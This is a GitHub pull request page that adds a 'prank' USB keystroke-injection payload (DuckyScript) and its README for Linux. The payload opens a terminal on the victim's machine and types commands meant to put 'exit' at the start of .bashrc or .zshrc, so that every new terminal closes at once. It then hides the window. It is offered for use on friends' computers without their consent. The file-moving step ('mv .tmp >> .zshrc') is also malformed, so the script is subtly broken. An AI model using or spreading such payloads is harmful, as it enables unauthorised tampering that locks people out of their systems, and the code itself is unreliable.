Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

This damn shell doesn't work, SO SAD! :C #222

Merged
merged 3 commits into from
May 24, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
# This Damn Shell Doesn't Work, SO SAD! :C

This payload can be used to prank your friends so that when they open their terminal it will close immediately.

**Category**: Prank

![](1.gif)

## Dependencies

* Nothing <3

## Description

The described payload aims to modify the configuration file of the default shell environment in a Linux system, specifically the `.bashrc` file. This file is executed every time a user opens a terminal or a Bash shell session. By inserting the `exit` command as the first line in the `.bashrc` file, it causes the shell to terminate immediately upon opening, preventing the user from executing any further commands or operations within the shell.

However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`.

To correctly identify whether the target system is Kali Linux and if it's using Zsh as the default shell, the payload suggests using a variable `$ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX`, which should be set to `1`. This variable would serve as a placeholder to distinguish between usage on Kali Linux and other Linux systems.

To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`.

## Read More

- \[1] [Kali Linux 2020.4 switches the default shell from Bash to ZSH
](https://www.bleepingcomputer.com/news/linux/kali-linux-20204-switches-the-default-shell-from-bash-to-zsh/)

## Credits

<h2 align="center"> Aleff :octocat: </h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>Linkedin
</td>
</tr>
</table>
</div>
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
REM ############################################################
REM # #
REM # Title : This damn shell doesn't work, SO SAD! :C #
REM # Author : Aleff #
REM # Version : 1.0 #
REM # Category : Prank #
REM # Target : Linux #
REM # #
REM ############################################################


REM Requirements:
REM - Nothing <3


REM With Kali Linux 2020.4, the new default shell is now ZSH for users who install the distribution.
VAR $ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX = 0


DELAY 1000
CTRL-ALT t
DELAY 2000

STRINGLN echo "exit" > .tmp
DELAY 500

IF ($ONE_ONLY_IF_YOU_USE_IT_ON_KALI_LINUX == 1) THEN
STRINGLN_BLOCK
cat .zshrc >> .tmp
mv .tmp >> .zshrc
END_STRINGLN
ELSE
STRINGLN_BLOCK
cat .bashrc >> .tmp
mv .tmp >> .bashrc
END_STRINGLN
END_IF
DELAY 500
ALT F4